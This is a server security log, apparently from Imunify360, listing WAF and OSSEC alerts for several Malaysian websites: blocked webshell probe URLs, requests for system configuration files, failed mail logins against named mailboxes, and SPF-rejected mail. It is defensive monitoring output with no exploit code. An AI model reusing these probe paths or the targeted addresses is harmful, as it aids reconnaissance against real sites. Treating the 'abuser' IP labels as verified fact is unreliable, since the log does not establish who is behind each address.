IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.wcc.com.myhttp/www.wcc.com.my/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.99.71.9
country_id: 3865483
domain: www.wcc.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.wcc.com.my/img-sys/server_misconfigured.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.140.4.35
country_id: 3996063
domain: www.wcc.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.wcc.com.my/img-sys/powered_by_cpanel.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.96.183.208
country_id: 6252001
description:
2026-01-22 15:56:18 dovecot_login authenticator failed for H=208.183.96.66.static.eigbox.net (skill-sweeps-games.com) [66.96.183.208]:38702: 535 Incorrect authentication data (set_id=rnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.49.111.219
country_id: 6252001
description:
2026-01-22 15:56:19 dovecot_login authenticator failed for H=ip-72-49-111-219.dynamic.fuse.net ([127.0.0.1]) [72.49.111.219]:41342: 535 Incorrect authentication data (set_id=info@masaakisb.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 207.182.29.116
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-57.207.182.29.116||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.231
country_id: 690791
description:
2026-01-22 15:57:22 H=([77.83.39.231]) [77.83.39.231]:50494 F=<grupotsk@grupotsk.com> rejected RCPT <jle@ajplantations.com.my>: SPF: 77.83.39.231 is not allowed to send mail from grupotsk.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.6.71
country_id: 2395170
description:
Jan 22 15:58:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.6.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.24.114
country_id: 226074
description:
Jan 22 15:58:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.24.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.212.90
country_id: 933860
description:
Jan 22 15:59:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.212.90 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.159
country_id: 2750405
description:
2026-01-22 16:00:22 537040 [Warning] Aborted connection 537040 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.159' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.159
country_id: 2750405
description:
2026-01-22 16:02:02 537091 [Warning] Aborted connection 537091 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.159' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.77.96.18
country_id: 3996063
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/console/Tests/Logger/ConsoleLoggerTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/commercial-new.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.220
country_id: 6290252
description:
Jan 22 16:05:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.220 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.176.231.220
country_id: 953987
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hall/19/254/1984272 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.180
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/font-awesome.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.176
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/bootstrap.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.132
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/fonts/Aller_Rg.woff HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.107
country_id: 3469034
description:
Jan 22 16:06:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.211.106
country_id: 933860
description:
Jan 22 16:06:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.211.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 16:06:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53991: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.248
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/js/owl.carousel.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.226
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/owl.carousel.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.163
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/js/bootstrap.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.224
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/animate.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 101.57.16.181
country_id: 3175395
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/product-details-acp.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.223
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/style.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.148
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/fonts/fontawesome-webfont5b62.woff2?v=4.6.3 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.250
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/responsive.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.172
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/js/theme_script.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.159
country_id: 2750405
description:
2026-01-22 16:06:28 537272 [Warning] Aborted connection 537272 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.159' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-22 16:06:59 H=([45.144.212.54]) [45.144.212.54]:59014 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<mertul@kit-fa.com> rejected RCPT <azman@ajplantations.com.my>: No Such User Here"


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.212.127.128
country_id: 3144096
description:
Jan 22 16:07:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.212.127.128 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.212.127.128
country_id: 3144096
description:
2026-01-22 16:07:48 dovecot_login authenticator failed for H=([46.212.127.128]) [46.212.127.128]:57463: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.50.217
country_id: 953987
description:
Jan 22 16:10:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.50.217 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.191.176.202
country_id: 3469034
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/krisfood.com/product-details-ncp.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.148
country_id: 1880251
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/krisfood.com/js/bootstrap.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.143
country_id: 1880251
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/krisfood.com/js/theme_script.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.167.151.251
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=562301 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.131
country_id: 1880251
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/krisfood.com/js/jquery-1.11.3.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.153.143
country_id: 1819730
description:
Jan 22 16:13:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.153.143 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.143
country_id: 1819730
description:
2026-01-22 16:13:51 dovecot_login authenticator failed for H=(223-197-153-143.static.imsbiz.com) [223.197.153.143]:65270: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.184.211
country_id: 1269750
description:
Jan 22 16:13:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.184.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.115.143
country_id: 1269750
description:
Jan 22 16:13:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.115.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.46.133
country_id: 2395170
description:
Jan 22 16:16:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.46.133 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.179.207
country_id: 1562822
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/ritzleder.php?id=23&sub=6 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.46.133
country_id: 2395170
description:
Jan 22 16:17:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.46.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.199
country_id: 953987
description:
Jan 22 16:17:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.199 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.170.48.178
country_id: 2017370
description:
Jan 22 16:17:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.170.48.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.170.48.178
country_id: 2017370
description:
2026-01-22 16:17:30 dovecot_login authenticator failed for H=([188.170.48.178]) [188.170.48.178]:34919: 535 Incorrect authentication data (set_id=shinwen.ong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.199
country_id: 953987
description:
Jan 22 16:18:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.199 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.165.44
country_id: 3469034
description:
Jan 22 16:18:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.165.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.151.1.172
country_id: 1210997
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/product-sub.php?id=25&sub=47 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.66.28
country_id: 1269750
description:
Jan 22 16:20:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.66.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.196
country_id: 3996063
description:
Jan 22 16:20:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.91.254.244
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/img/demos/img/photos/img/photos/news.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.165.187
country_id: 2017370
description:
Jan 22 16:20:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.165.187 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.224.93
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-20.166.0.224.93||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.196
country_id: 3996063
description:
Jan 22 16:21:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.111
country_id: 3175395
description:
Jan 22 16:21:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.111 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.6
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/yum/protected.d/systemd.conf||User:root||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 165.231.121.219
country_id: 3144096
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-23.165.231.121.219||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.2
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/crypto-policies/state/CURRENT.pol||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.154.152.120
country_id: 783754
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Session/Storage/Proxy HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.197.92.122
country_id: 3703430
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Session/Storage/Proxy/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.233.68.24
country_id: 3865483
description:
Jan 22 16:24:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.233.68.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.254
country_id: 2510769
description:
Jan 22 16:24:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.254
country_id: 2510769
description:
Jan 22 16:25:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.77
country_id: 3175395
description:
Jan 22 16:25:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.234.206.78
country_id: 953987
description:
Jan 22 16:26:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.234.206.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.231
country_id: 690791
description:
2026-01-22 16:26:22 H=([77.83.39.231]) [77.83.39.231]:64849 F=<grupotsk@grupotsk.com> rejected RCPT <wktneh@euratech.com.my>: SPF: 77.83.39.231 is not allowed to send mail from grupotsk.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 15.218.135.58
country_id: 6252001
description:
Jan 22 16:26:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 15.218.135.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.218.135.58
country_id: 6252001
description:
2026-01-22 16:26:27 dovecot_login authenticator failed for H=([15.218.135.58]) [15.218.135.58]:47294: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.77
country_id: 3175395
description:
Jan 22 16:25:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-01-22 16:27:49 H=([91.92.240.254]) [91.92.240.254]:57703 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<sale@generaltradinglite.com> rejected RCPT <enquiry@symphony-led.com>: SPF: 91.92.240.254 is not allowed to send mail from generaltradinglite.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-22 16:30:03 H=(localhost.localdomain) [78.153.140.207]:53436 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.231
country_id: 690791
description:
2026-01-22 16:31:34 H=([77.83.39.231]) [77.83.39.231]:64987 F=<grupotsk@grupotsk.com> rejected RCPT <boonpau.tan@tujusetia.my>: No such person at this address."


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.25.132.63
country_id: 1269750
description:
Jan 22 16:31:54 sv3 auth[485642]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.25.132.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.46.78
country_id: 953987
description:
Jan 22 16:32:14 sv3 auth[485642]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.46.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.25.132.63
country_id: 1269750
description:
Jan 22 16:32:01 sv3 auth[485642]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.25.132.63 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.39.71.59
country_id: 798549
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Felda-Sabah-Malaysia/penstock-felda-sabah-06.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.104.61
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sungai-Sireh-WTP/ancillary-engineering-sungai-sireh-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.164.203.74
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sungai-Sireh-WTP/ancillary-engineering-sungai-sireh-09.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.218.220.243
country_id: 3996063
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Felda-Sabah-Malaysia/penstock-felda-sabah-03.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 118.179.17.227
country_id: 1210997
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Felda-Sabah-Malaysia/penstock-felda-sabah-05.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.121.197
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sungai-Sireh-WTP/ancillary-engineering-sungai-sireh-06.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.244.188.166
country_id: 2464461
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sungai-Sireh-WTP/ancillary-engineering-sungai-sireh-07.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.253.57
country_id: 248816
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sungai-Sireh-WTP/ancillary-engineering-sungai-sireh-05.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.109.124.237
country_id: 3865483
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Felda-Sabah-Malaysia/penstock-felda-sabah-04.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.157.231.238
country_id: 192950
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sungai-Sireh-WTP/ancillary-engineering-sungai-sireh-08.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.46.104
country_id: 1643084
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Felda-Sabah-Malaysia/penstock-felda-sabah-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.34.27.0
country_id: 1168579
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sungai-Sireh-WTP/ancillary-engineering-sungai-sireh-03.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.25.215.208
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sungai-Sireh-WTP/ancillary-engineering-sungai-sireh-10.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.174.5.164
country_id: 1168579
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sungai-Sireh-WTP/ancillary-engineering-sungai-sireh-04.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
